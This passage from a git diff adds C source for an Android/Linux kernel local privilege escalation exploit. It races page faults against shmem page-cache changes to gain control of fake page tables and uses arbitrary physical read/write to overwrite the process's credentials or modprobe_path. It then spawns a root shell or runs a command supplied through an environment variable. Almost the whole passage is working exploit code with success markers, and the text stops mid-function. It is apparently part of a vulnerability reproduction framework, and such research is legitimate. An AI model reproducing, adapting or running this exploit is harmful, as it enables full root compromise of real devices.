CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) { + perror("pin race coordinator"); + return 2; + } + } + layout = reserve_layout(&root); + if (layout == MAP_FAILED) { + perror("reserve fixed layout"); + return 2; + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + candidate_roots[candidate] = root + candidate * PUD_SIZE; + source_bases[candidate] = candidate_roots[candidate] + + (candidate == 0 ? SOURCE_ENTRY * PMD_SIZE : 0); + fake_bases[candidate] = candidate_roots[candidate] + + CORRUPT_FIRST_PMD * PMD_SIZE; + } + + /* + * Install every VMA before the allocation-sensitive page-table + * sequence. A candidate's PTE page may physically follow its PMD page; + * the next candidate's PMD allocation may physically follow that PTE + * page. Racing each adjacent pair provides repeated opportunities on + * guests that shuffle the page allocator while preserving the original + * two-candidate geometry by default. + */ + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + dummies[candidate] = mmap( + (void *)(source_bases[candidate] + PMD_SIZE - PAGE_SIZE), + PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_FIXED, groom_fd, 0); + if (dummies[candidate] == MAP_FAILED || + mmap((void *)fake_bases[candidate], FAKE_WINDOW_SIZE, + PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, + -1, 0) == MAP_FAILED) { + perror("install fixed candidate VMAs"); + return 2; + } + } + + /* + * Keep every page-table fault on one allowed CPU so the order-0 + * allocations use one per-CPU page list. + */ + if (sched_getaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("read groom affinity"); + return 2; + } + groom_cpu = sched_getcpu(); + if (groom_cpu < 0 || !CPU_ISSET(groom_cpu, &groom_saved_set)) { + for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) { + if (CPU_ISSET(cpu, &groom_saved_set)) { + groom_cpu = cpu; + break; + } + } + } + if (groom_cpu < 0) { + fprintf(stderr, "no allowed groom CPU\n"); + return 2; + } + { + cpu_set_t groom_single_set; + + CPU_ZERO(&groom_single_set); + CPU_SET(groom_cpu, &groom_single_set); + if (sched_setaffinity(0, sizeof(groom_single_set), + &groom_single_set) != 0) { + perror("pin page-table groom"); + return 2; + } + } + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + if (touch_file_byte(dummies[candidate]) != 0) { + (void)sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set); + perror("fault candidate grooming mapping"); + return 2; + } + } + if (sched_setaffinity(0, sizeof(groom_saved_set), + &groom_saved_set) != 0) { + perror("restore groom affinity"); + return 2; + } + printf("PAGETABLE_GROOM root=%#lx cpu=%d candidates=%u first_source=%#lx first_fake=%#lx last_source=%#lx last_fake=%#lx\n", + (unsigned long)root, groom_cpu, + (unsigned int)LAYOUT_CANDIDATES, + (unsigned long)source_bases[0], + (unsigned long)fake_bases[0], + (unsigned long)source_bases[LAYOUT_CANDIDATES - 1], + (unsigned long)fake_bases[LAYOUT_CANDIDATES - 1]); + fflush(stdout); + + for (unsigned int candidate = 0; + candidate < LAYOUT_CANDIDATES; candidate++) { + unsigned char resident = 0xff; + int pre_rc = mincore((void *)fake_bases[candidate], PAGE_SIZE, + &resident); + + printf("FAKE_WINDOW_PRECONDITION candidate=%u mincore_rc=%d resident=%u\n", + candidate, pre_rc, resident & 1); + if (pre_rc != 0 || (resident & 1) != 0) + return 2; + } + + atomic_store(&run_state, 0); + atomic_store(&active_workers, 0); + atomic_store(&fault_callers, 0); + atomic_store(&fault_release, 0); + for (i = 0; i < FAULT_THREADS; i++) { + if (pthread_create(&threads[i], NULL, fault_worker, + (void *)(uintptr_t)i) != 0) { + perror("pthread_create"); + return 2; + } + } + atomic_store(&membarrier_calls, 0); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) { + if (pthread_create(&membarrier_threads[i], NULL, + membarrier_worker, NULL) != 0) { + perror("pthread_create membarrier"); + return 2; + } + } + + for (i = 0; i < rounds; i++) { + int fd; + char *source; + char *sources[RACE_SOURCE_VIEWS]; + uint64_t *alias; + unsigned char *whole = MAP_FAILED; + void *whole_reservation = MAP_FAILED; + volatile unsigned int delay; + const unsigned int candidate = RACE_ROTATE_LAYOUT ? + (unsigned int)i % (LAYOUT_CANDIDATES - 1) : + RACE_LAYOUT_CANDIDATE; + const uintptr_t race_source_base = source_bases[candidate]; + int mutation_ready = 1; + + fd = (int)syscall(SYS_memfd_create, "xarray-race", + MFD_CLOEXEC); + if (fd < 0 || + ftruncate(fd, (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + perror("prepare race file"); + return 3; + } + if (RACE_MUTATION_MODE == 3) { + whole = prepare_order0_shmem_folio(fd, + &whole_reservation); + if (whole == MAP_FAILED) { + perror("prepare order-0 race folio"); + return 3; + } + } else if (prepare_large_shmem_folio(fd) != 0) { + perror("prepare race folio"); + return 3; + } + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) { + sources[view] = mmap( + (void *)(race_source_base + view * SOURCE_SIZE), + SOURCE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_FIXED, fd, + (RACE_FILE_BASE_PGOFF + SOURCE_PGOFF + + view * SOURCE_SIZE / PAGE_SIZE) * PAGE_SIZE); + if (sources[view] == MAP_FAILED) { + perror("map source race view"); + return 2; + } + } + source = sources[0]; + alias = mmap(NULL, FAKE_ALIAS_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, + (off_t)((RACE_FILE_BASE_PGOFF + 64UL) * + PAGE_SIZE)); + if (alias == MAP_FAILED) { + perror("map fake-PTE alias"); + return 2; + } + /* + * Populate every candidate page-table page. Vendor kernels can + * expose a different backward XArray span, so fixed probe slots + * would miss an otherwise usable page-table installation. + */ + fill_fake_ptes(alias, PHYS_BASE_PFN, 1); + + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + atomic_store_explicit(&fault_addrs[view], sources[view], + memory_order_release); + if (STARTUP_WAIT_ALL_WORKERS) + atomic_store_explicit(&fault_release, 0, + memory_order_release); + atomic_store_explicit(&run_state, 1, memory_order_release); + if (STARTUP_WAIT_ACTIVE) { + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit( + &active_workers, + memory_order_acquire) != + FAULT_THREADS) + sched_yield(); + atomic_store_explicit(&fault_release, 1, + memory_order_release); + } + while (atomic_load_explicit(&fault_callers, + memory_order_acquire) == 0) + sched_yield(); + } + for (delay = 0; + delay < ((unsigned int)i % DELAY_PERIOD) * DELAY_STEP; + delay++) + __asm__ __volatile__("" ::: "memory"); +#if RACE_MEMBARRIER_SHOTS > 0 + for (unsigned int shot = 0; + shot < RACE_MEMBARRIER_SHOTS; shot++) + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); +#endif + if (RACE_MUTATION_MODE == 2) { + const unsigned long minimum_local_pages = + SOURCE_PGOFF + SOURCE_SIZE / PAGE_SIZE; + const unsigned long new_pages = + RACE_FILE_BASE_PGOFF + minimum_local_pages + + (unsigned long)i % + (512UL - minimum_local_pages); + + if (ftruncate(fd, (off_t)(new_pages * PAGE_SIZE)) != 0 || + ftruncate(fd, + (off_t)((RACE_FILE_BASE_PGOFF + 512UL) * + PAGE_SIZE)) != 0) { + mutation_ready = 0; + mutation_failures++; + } + } else if (RACE_MUTATION_MODE == 3) { + mutation_ready = 0; + for (unsigned int attempt = 0; + attempt < RACE_COLLAPSE_ATTEMPTS; attempt++) { + if (madvise(whole, PMD_SIZE, MADV_COLLAPSE) == 0) { + mutation_ready = 1; + break; + } + if (errno != EAGAIN && errno != EBUSY) + break; + sched_yield(); + } + if (!mutation_ready) + mutation_failures++; + } + if (mutation_ready && RACE_MUTATION_MODE != 2) + (void)fallocate(fd, + FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_KEEP_SIZE, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE), + PAGE_SIZE); + atomic_store_explicit(&run_state, 0, memory_order_release); + while (atomic_load_explicit(&active_workers, memory_order_acquire) != 0) + sched_yield(); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (i & 1) != 0 ? + PROT_READ | PROT_WRITE : PROT_READ) != 0) { + perror("tlb flush mprotect"); + return 2; + } + if (whole_reservation != MAP_FAILED) + munmap(whole_reservation, 2 * PMD_SIZE); + + for (unsigned int target_candidate = candidate; + target_candidate < LAYOUT_CANDIDATES && + target_candidate < candidate + 2 && !success; + target_candidate++) { + const uintptr_t target_root = + candidate_roots[target_candidate]; + const unsigned long target_source_first_pmd = + (source_bases[target_candidate] - target_root) / + PMD_SIZE; + const unsigned long target_source_pmds = + (RACE_SOURCE_VIEWS * SOURCE_SIZE + + PMD_SIZE - 1) / PMD_SIZE; + unsigned long first_present = PUD_PMD_SLOTS; + unsigned long last_present = 0; + unsigned long present_pmds = 0; + unsigned long best_first = PUD_PMD_SLOTS; + unsigned long best_len = 0; + unsigned long run_first = 0; + unsigned long run_len = 0; + + for (unsigned long pmd = 0; pmd < PUD_PMD_SLOTS; + pmd++) { + unsigned char probe = 0; + + if (pmd >= target_source_first_pmd && + pmd < target_source_first_pmd + + target_source_pmds) { + run_len = 0; + continue; + } + if (safe_read( + (const volatile unsigned char *) + (target_root + pmd * PMD_SIZE), + &probe) != 0) { + run_len = 0; + continue; + } + if (first_present == PUD_PMD_SLOTS) + first_present = pmd; + last_present = pmd; + present_pmds++; + if (run_len == 0) + run_first = pmd; + run_len++; + if (run_len > best_len) { + best_first = run_first; + best_len = run_len; + } + } + if (present_pmds == 0) + continue; + if (best_len > FAKE_PT_PAGES) + best_len = FAKE_PT_PAGES; + success = 1; + winning_fd = fd; + winning_alias = alias; + winning_source = source; + winning_fake_base = + target_root + best_first * PMD_SIZE; + winning_pmds = best_len; + printf("PAGE_TABLE_PRIMITIVE round=%d race_candidate=%u target_candidate=%u present_pmds=%lu first_layout_pmd=%lu last_layout_pmd=%lu selected_first_pmd=%lu mapped_pmds=%lu scanned_pmds=%lu\n", + i, candidate, target_candidate, present_pmds, + first_present, last_present, best_first, + winning_pmds, PUD_PMD_SLOTS); + fflush(stdout); + } + if (success) + break; + for (unsigned int view = 0; view < RACE_SOURCE_VIEWS; view++) + munmap(sources[view], SOURCE_SIZE); + munmap(alias, FAKE_ALIAS_SIZE); + close(fd); + if ((i % RACE_PROGRESS_INTERVAL) == 0) { + printf("RACE_PROGRESS round=%d active=%d mutation_failures=%lu\n", + i, atomic_load(&active_workers), mutation_failures); + fflush(stdout); + } + } + + atomic_store_explicit(&run_state, 2, memory_order_release); + for (i = 0; i < FAULT_THREADS; i++) + pthread_join(threads[i], NULL); + for (i = 0; i < RACE_MEMBARRIER_WORKERS; i++) + pthread_join(membarrier_threads[i], NULL); + printf("MEMBARRIER_CALLS count=%lu\n", + atomic_load_explicit(&membarrier_calls, memory_order_relaxed)); + if (!success) { + printf("PRIMITIVE_NOT_OBSERVED rounds=%d\n", rounds); + return 4; + } + if (preserve_corrupted_mm() < 0) { + perror("preserve corrupted mm"); + printf("MM_HOLDER_FAILED action=process_retained\n"); + fflush(stdout); + for (;;) + pause(); + } + + /* + * Search every physical window for the marker. Android guests with + * several GiB of RAM do not reliably place the spray below the first + * fake-PTE span. Changing protection on the corrupted mapping forces + * a range TLB invalidation after each PTE rewrite. + */ + mapped_bytes = winning_pmds * PMD_SIZE; + { + const unsigned long entries = mapped_bytes / PAGE_SIZE; + unsigned long marker_matches = 0; + unsigned long stale_matches = 0; + unsigned long sampled_pages = 0; + unsigned long found_i = (unsigned long)-1; + unsigned long found_pfn = 0; + unsigned long found_page = 0; + unsigned int window_index = 0; + int marker_verified = 0; + + printf("SAFE_FAKE_SPAN base=%#lx pmds=%lu bytes=%lu physical_pages=%lu scan_limit_mib=%lu\n", + (unsigned long)winning_fake_base, winning_pmds, + mapped_bytes, entries, PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && !marker_verified; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + printf("RAM_RANGE index=%u first_pfn=%#lx end_pfn=%#lx pages=%lu source=exact_emulator_firmware_memmap\n", + range_index, range->first_pfn, range->end_pfn, + range->end_pfn - range->first_pfn); + fflush(stdout); + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && !marker_verified; + base_pfn += entries) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned char byte = 0; + + if (scan_pages > entries) + scan_pages = entries; + + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap marker physical window"); + return 6; + } + printf("MARKER_WINDOW_REMAP range=%u index=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, window_index++, base_pfn, + mapped_bytes, scan_pages * PAGE_SIZE); + fflush(stdout); + for (unsigned long n = 0; n < scan_pages; n++) { + volatile unsigned char *phys = + (volatile unsigned char *) + winning_fake_base + n * PAGE_SIZE; + unsigned long candidate_page; + unsigned char *orig; + unsigned char phys_before; + unsigned char expected; + + sampled_pages++; + if (safe_read(phys, &byte) != 0 || + memcmp((const void *)phys, MARKER_MAGIC, + sizeof(MARKER_MAGIC)) != 0) + continue; + memcpy(&candidate_page, + (const void *)(phys + 32), + sizeof(candidate_page)); + if (candidate_page >= MARKER_PAGES) + continue; + marker_matches++; + orig = (unsigned char *)marker + + candidate_page * PAGE_SIZE; + if (safe_read(phys + 128, &phys_before) != 0 || + phys_before != orig[128]) { + stale_matches++; + continue; + } + expected = (unsigned char)(phys_before ^ 0xa5); + if (safe_write(phys + 128, expected) != 0 || + orig[128] != expected) { + (void)safe_write(phys + 128, phys_before); + stale_matches++; + continue; + } + found_i = n; + found_pfn = base_pfn + n; + found_page = candidate_page; + marker_verified = 1; + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=1 marker_matches=%lu stale_matches=%lu\n", + found_i, found_pfn, found_page, + phys_before, orig[128], marker_matches, + stale_matches); + fflush(stdout); + break; + } + } + } + if (!marker_verified) { + printf("ARBITRARY_PHYSICAL_RW_NOT_VERIFIED sampled_pages=%lu marker_matches=%lu stale_matches=%lu scan_limit_mib=%lu\n", + sampled_pages, marker_matches, stale_matches, + PHYS_SCAN_LIMIT_MIB); + return 6; + } + } + { + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + int credentials_patched = 0; + int root_helper_executed = 0; + int modprobe_available = + getenv("XARR_DISABLE_MODPROBE") == NULL && + prepare_modprobe_helper() == 0; + + for (unsigned int range_index = 0; + range_index < PHYSICAL_RANGE_COUNT && + !credentials_patched && !root_helper_executed; + range_index++) { + const struct physical_range *range = + &physical_ranges[range_index]; + + for (unsigned long base_pfn = range->first_pfn; + base_pfn < range->end_pfn && + !credentials_patched && !root_helper_executed; + base_pfn += window_pages) { + unsigned long scan_pages = + range->end_pfn - base_pfn; + unsigned long scan_bytes; + + if (scan_pages > window_pages) + scan_pages = window_pages; + scan_bytes = scan_pages * PAGE_SIZE; + if (remap_physical_window(winning_alias, + winning_fake_base, + mapped_bytes, + base_pfn) != 0) { + perror("remap physical window"); + cleanup_modprobe_helper(); + return 7; + } + printf("PHYS_WINDOW_REMAP range=%u base_pfn=%#lx mapped_bytes=%lu scanned_bytes=%lu\n", + range_index, base_pfn, mapped_bytes, scan_bytes); + fflush(stdout); + if (patch_current_credentials(winning_fake_base, + scan_bytes, + base_pfn) == 0) { + credentials_patched = 1; + break; + } + if (modprobe_available && + patch_modprobe_path(winning_fake_base, + scan_bytes, base_pfn) == 0) { + root_helper_executed = 1; + break; + } + } + } + cleanup_modprobe_helper(); + if (root_helper_executed) { + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u root_execution=modprobe_helper\n", + target_euid); + fflush(stdout); + return 0; + } + if (!credentials_patched) { + printf("CREDENTIAL_PATCH_FAILED\n"); + return 7; + } + } + if (prove_root_identity() != 0) { + printf("ROOT_PROOF_FAILED\n"); + return 8; + } + if (prove_post_root_create() != 0) { + printf("POST_ROOT_CREATE_FAILED\n"); + return 9; + } + printf("KERNEL_PRIVILEGE_ESCALATION_CONFIRMED from_uid=%u to_uid=%u\n", + target_euid, geteuid()); + fflush(stdout); + if (launch_root_payload() != 0) + return 10; + return 0; + + (void)winning_source; + (void)winning_fd; + printf("EXPLOIT_STAGE_DONE primitive=controlled_fake_page_tables uid=%u euid=%u\n", + getuid(), geteuid()); + fflush(stdout); + return 0; +} + +int main(int argc, char **argv) +{ + struct utsname uts; + int rounds = DEFAULT_ROUNDS; + const char *env_rounds = getenv("XARR_ROUNDS"); + if (snprintf(post_root_path, sizeof(post_root_path), "%s-%ld", + POST_ROOT_PATH_PREFIX, (long)getpid()) >= + (int)sizeof(post_root_path)) + return 2; + + if (geteuid() == 0 && argc > 1 && strcmp(argv[1], "-q") == 0) { + if (snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + argv[0]) >= (int)sizeof(modprobe_marker_path)) + return 2; + if (prove_root_identity() != 0 || + prove_post_root_create() != 0 || + create_root_marker() != 0) + return 1; + printf("ROOT_HELPER_EXECUTION_CONFIRMED uid=%u euid=%u gid=%u egid=%u\n", + getuid(), geteuid(), getgid(), getegid()); + fflush(stdout); + return 0; + } + + if (env_rounds) + rounds = atoi(env_rounds); + if (argc > 1) + rounds = atoi(argv[1]); + if (rounds <= 0) + rounds = DEFAULT_ROUNDS; + if (uname(&uts) == 0) + printf("KERNEL_RELEASE %s\n", uts.release); + printf("EXPLOIT_CONFIG rounds=%d source_exec=1 file_base_pgoff=%lu delay_period=%u delay_step=%u startup_wait=%s fault_order=pwrite_then_dontneed fault_access=read soft_dirty_clear=0 tlb_flush_pages=%lu worker_threads=%u source_views=%u membarrier_shots=%u membarrier_workers=%u timer_ns=%lu timers_per_worker=%u mutation_mode=%u collapse_attempts=%u progress_interval=%u worker_cpus=%s main_cpu=%s layout_candidates=%u rotate_layout=%u layout_scan_pmds=%lu phys_scan_limit_mib=%lu cred_layout=android-6.1-btf\n", + rounds, RACE_FILE_BASE_PGOFF, DELAY_PERIOD, DELAY_STEP, + STARTUP_WAIT_ALL_WORKERS ? "all_workers_and_active_caller" : + (STARTUP_WAIT_ACTIVE ? "active_caller" : "none"), + TLB_FLUSH_PAGES, FAULT_THREADS, RACE_SOURCE_VIEWS, + RACE_MEMBARRIER_SHOTS, + RACE_MEMBARRIER_WORKERS, RACE_TIMER_NS, + RACE_TIMERS_PER_WORKER, RACE_MUTATION_MODE, + (unsigned int)RACE_COLLAPSE_ATTEMPTS, + (unsigned int)RACE_PROGRESS_INTERVAL, + RACE_PIN_WORKERS ? "pinned" : "unbound", + RACE_PIN_WORKERS ? "0" : "unbound", + (unsigned int)LAYOUT_CANDIDATES, + (unsigned int)RACE_ROTATE_LAYOUT, PUD_PMD_SLOTS, + PHYS_SCAN_LIMIT_MIB); + fflush(stdout); + return run_exploit(rounds); +} diff --git a/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v20.c b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v20.c new file mode 100644 index 0000000..e8de3b9 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/reproducer/android-api34/filemap_xarray_android_v20.c @@ -0,0 +1,1736 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif + +#define PAGE_SIZE 4096UL +#define PMD_SIZE (2UL * 1024 * 1024) +#define PUD_SIZE (1024UL * 1024 * 1024) +#define SOURCE_ENTRY 2UL +#define SOURCE_SIZE (16UL * PAGE_SIZE) +#define SOURCE_PGOFF 256UL +#ifndef RACE_FILE_BASE_PGOFF +#define RACE_FILE_BASE_PGOFF 0UL +#endif +#if (RACE_FILE_BASE_PGOFF & 511UL) != 0 +#error RACE_FILE_BASE_PGOFF must be 512-page aligned +#endif +#define CORRUPT_FIRST_PMD 320UL +#define FAKE_PT_PAGES 192UL +#define SAFE_FAKE_PT_PAGES 64UL +#define HIGH_FAKE_PMD_OFFSET 64UL +#define HIGH_FAKE_PT_PAGES 128UL +#define PHYS_BASE_PFN 0x100UL +#ifndef PHYS_SCAN_LIMIT_MIB +#define PHYS_SCAN_LIMIT_MIB 5120UL +#endif +#define PHYS_SCAN_LIMIT_PFN \ + ((PHYS_SCAN_LIMIT_MIB * 1024UL * 1024UL) / PAGE_SIZE) +#define FAKE_WINDOW_SIZE (FAKE_PT_PAGES * PMD_SIZE) +#define FAKE_ALIAS_SIZE (FAKE_PT_PAGES * PAGE_SIZE) +#ifndef LAYOUT_CANDIDATES +#define LAYOUT_CANDIDATES 2U +#endif +#if LAYOUT_CANDIDATES < 2 || LAYOUT_CANDIDATES > 64 +#error LAYOUT_CANDIDATES must be between 2 and 64 +#endif +#define LAYOUT_PMD_SLOTS \ + ((LAYOUT_CANDIDATES * PUD_SIZE) / PMD_SIZE) +#define PUD_PMD_SLOTS (PUD_SIZE / PMD_SIZE) +#define DEFAULT_ROUNDS 20000 +#ifndef FAULT_THREADS +#define FAULT_THREADS 8 +#endif +#ifndef RACE_SOURCE_VIEWS +#define RACE_SOURCE_VIEWS 8 +#endif +#if RACE_SOURCE_VIEWS < 1 || RACE_SOURCE_VIEWS > 16 +#error RACE_SOURCE_VIEWS must be between 1 and 16 +#endif +#ifndef RACE_ROTATE_LAYOUT +#define RACE_ROTATE_LAYOUT 0 +#endif +#ifndef RACE_LAYOUT_CANDIDATE +#define RACE_LAYOUT_CANDIDATE 0 +#endif +#if RACE_LAYOUT_CANDIDATE >= LAYOUT_CANDIDATES +#error RACE_LAYOUT_CANDIDATE exceeds the candidate layout +#endif +#define MARKER_PAGES 32768UL +#define TLB_FLUSH_PAGES 128UL +#ifndef DELAY_PERIOD +#define DELAY_PERIOD 100U +#endif +#ifndef DELAY_STEP +#define DELAY_STEP 10U +#endif +#ifndef STARTUP_WAIT_ACTIVE +#define STARTUP_WAIT_ACTIVE 1 +#endif +#ifndef STARTUP_WAIT_ALL_WORKERS +#define STARTUP_WAIT_ALL_WORKERS 1 +#endif +#ifndef RACE_FAULT_LOOPS +#define RACE_FAULT_LOOPS 64U +#endif +#if RACE_FAULT_LOOPS < 1 +#error RACE_FAULT_LOOPS must be positive +#endif + +#ifndef RACE_MEMBARRIER_SHOTS +#define RACE_MEMBARRIER_SHOTS 0 +#endif +#ifndef RACE_TIMER_NS +#define RACE_TIMER_NS 100000UL +#endif +#ifndef RACE_TIMERS_PER_WORKER +#define RACE_TIMERS_PER_WORKER 8 +#endif +#ifndef RACE_PIN_WORKERS +#define RACE_PIN_WORKERS 0 +#endif +#ifndef RACE_MEMBARRIER_WORKERS +#define RACE_MEMBARRIER_WORKERS 0 +#endif +#ifndef RACE_MUTATION_MODE +#define RACE_MUTATION_MODE 0 +#endif +#ifndef RACE_COLLAPSE_ATTEMPTS +#define RACE_COLLAPSE_ATTEMPTS 1 +#endif +#ifndef RACE_COLLAPSE_RETRY_NS +#define RACE_COLLAPSE_RETRY_NS 1000000UL +#endif +#ifndef RACE_PROGRESS_INTERVAL +#define RACE_PROGRESS_INTERVAL 100U +#endif +#if RACE_PROGRESS_INTERVAL < 1 +#error RACE_PROGRESS_INTERVAL must be positive +#endif +#define MARKER_MAGIC "XARR-PHYS-MARK!" +#define ROOT_PROOF_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-root-proof" +#define ROOT_PROOF_TEXT "filemap-xarray-root-proof" +#define POST_ROOT_PATH_PREFIX \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-post-root" +#define POST_ROOT_TEXT "filemap-xarray-post-root" +#define MODPROBE_TRIGGER_PATH \ + "/data/data/dev.dirtycrow.probe/files/filemap-xarray-binfmt-trigger" +#define MODPROBE_PATH_ORIGINAL "/sbin/modprobe" +#define CAP_VALID_MASK_7_1 0x000001ffffffffffULL +#define ROOT_REQUIRED_CAPS ((1ULL << CAP_CHOWN) | \ + (1ULL << CAP_DAC_OVERRIDE) | \ + (1ULL << CAP_SETGID) | (1ULL << CAP_SETUID)) + +#define PTE_PRESENT (1ULL << 0) +#define PTE_RW (1ULL << 1) +#define PTE_USER (1ULL << 2) +#define PTE_ACCESSED (1ULL << 5) +#define PTE_DIRTY (1ULL << 6) +#define PTE_NX (1ULL << 63) +#define USER_PTE_FLAGS (PTE_NX | PTE_DIRTY | PTE_ACCESSED | PTE_USER | PTE_RW | PTE_PRESENT) + +struct physical_range { + unsigned long first_pfn; + unsigned long end_pfn; +}; + +static const struct physical_range physical_ranges[] = { + { 0x100UL, 0xbffd6UL }, + { 0x100000UL, 0x140000UL }, +}; + +#define PHYSICAL_RANGE_COUNT \ + (sizeof(physical_ranges) / sizeof(physical_ranges[0])) + +static atomic_int run_state; +static atomic_int active_workers; +static uid_t target_ruid, target_euid, target_suid, target_fsuid; +static gid_t target_rgid, target_egid, target_sgid, target_fsgid; +static int root_proof_required; +static char post_root_path[128]; +static char modprobe_helper_path[sizeof(MODPROBE_PATH_ORIGINAL)]; +static char modprobe_marker_path[64]; +static atomic_int fault_callers; +static atomic_int fault_started; +static atomic_int fault_release; +static atomic_ulong membarrier_calls; +static _Atomic(char *) fault_addrs[RACE_SOURCE_VIEWS]; +static int sink_fd = -1; +static sigjmp_buf fault_jmp; +static volatile sig_atomic_t fault_guard; + + + +static void fault_signal(int sig) +{ + if (fault_guard) + siglongjmp(fault_jmp, sig); + _exit(128 + sig); +} + +static int safe_read(const volatile unsigned char *p, unsigned char *out) +{ + int sig = sigsetjmp(fault_jmp, 1); + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *out = *p; + fault_guard = 0; + return 0; +} + +static int safe_write(volatile unsigned char *p, unsigned char value) +{ + int sig = sigsetjmp(fault_jmp, 1); + + if (sig != 0) { + fault_guard = 0; + return -sig; + } + fault_guard = 1; + *p = value; + fault_guard = 0; + return 0; +} +static int mm_holder_main(void *unused) +{ + uint64_t blocked = ~0ULL; + + (void)unused; + (void)syscall(SYS_prctl, PR_SET_NAME, "xarr-mm-holder", 0, 0, 0); + (void)syscall(SYS_rt_sigprocmask, SIG_SETMASK, &blocked, NULL, + sizeof(blocked)); + for (;;) + (void)syscall(SYS_pause); + return 0; +} + +static pid_t preserve_corrupted_mm(void) +{ + const size_t stack_size = 1024UL * 1024UL; + unsigned char *stack; + pid_t pid; + + stack = mmap(NULL, stack_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (stack == MAP_FAILED) + return -1; + (void)madvise(stack, stack_size, MADV_DONTDUMP); + fflush(NULL); + pid = clone(mm_holder_main, stack + stack_size, CLONE_VM | SIGCHLD, + NULL); + if (pid < 0) { + munmap(stack, stack_size); + return -1; + } + printf("MM_HOLDER pid=%ld state=retaining_corrupted_mm cleanup=reboot_only\n", + (long)pid); + fflush(stdout); + return pid; +} + +static int launch_root_payload(void) +{ + const char *command = getenv("XARR_ROOT_COMMAND"); + const char *shell = getenv("XARR_ROOT_SHELL"); + + if (command != NULL && command[0] != '\0') { + printf("ROOT_PAYLOAD mode=command shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", "-c", command, NULL); + perror("exec root command"); + return -1; + } + if (shell != NULL && strcmp(shell, "0") != 0) { + printf("ROOT_PAYLOAD mode=interactive shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", NULL); + perror("exec root shell"); + return -1; + } + return 0; +} + +static void *fault_worker(void *arg) +{ + const unsigned int worker = (unsigned int)(uintptr_t)arg; + timer_t race_timers[RACE_TIMERS_PER_WORKER > 0 ? + RACE_TIMERS_PER_WORKER : 1] = { 0 }; + + if (RACE_PIN_WORKERS) { + cpu_set_t set; + long cpus = sysconf(_SC_NPROCESSORS_ONLN); + unsigned int fault_cpus = + cpus > 2 && RACE_MEMBARRIER_WORKERS > 0 ? + (unsigned int)(cpus - 2) : + (cpus > 1 ? (unsigned int)(cpus - 1) : 1U); + unsigned int cpu = cpus > 1 ? + 1U + worker % fault_cpus : 0U; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + _exit(2); + } + if (RACE_TIMER_NS > 0) { + struct sigevent event; + struct itimerspec interval; + struct timespec start; + sigset_t blocked; + int signo = SIGRTMIN + 3; + + sigemptyset(&blocked); + sigaddset(&blocked, signo); + if (pthread_sigmask(SIG_BLOCK, &blocked, NULL) != 0) + _exit(2); + memset(&event, 0, sizeof(event)); + event.sigev_notify = SIGEV_THREAD_ID; + event.sigev_signo = signo; + event._sigev_un._tid = (pid_t)syscall(SYS_gettid); + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_create(CLOCK_MONOTONIC, &event, + &race_timers[timer]) != 0) + _exit(2); + } + if (clock_gettime(CLOCK_MONOTONIC, &start) != 0) + _exit(2); + start.tv_nsec += 1000000L; + if (start.tv_nsec >= 1000000000L) { + start.tv_sec++; + start.tv_nsec -= 1000000000L; + } + memset(&interval, 0, sizeof(interval)); + interval.it_value = start; + interval.it_interval.tv_sec = RACE_TIMER_NS / 1000000000UL; + interval.it_interval.tv_nsec = RACE_TIMER_NS % 1000000000UL; + for 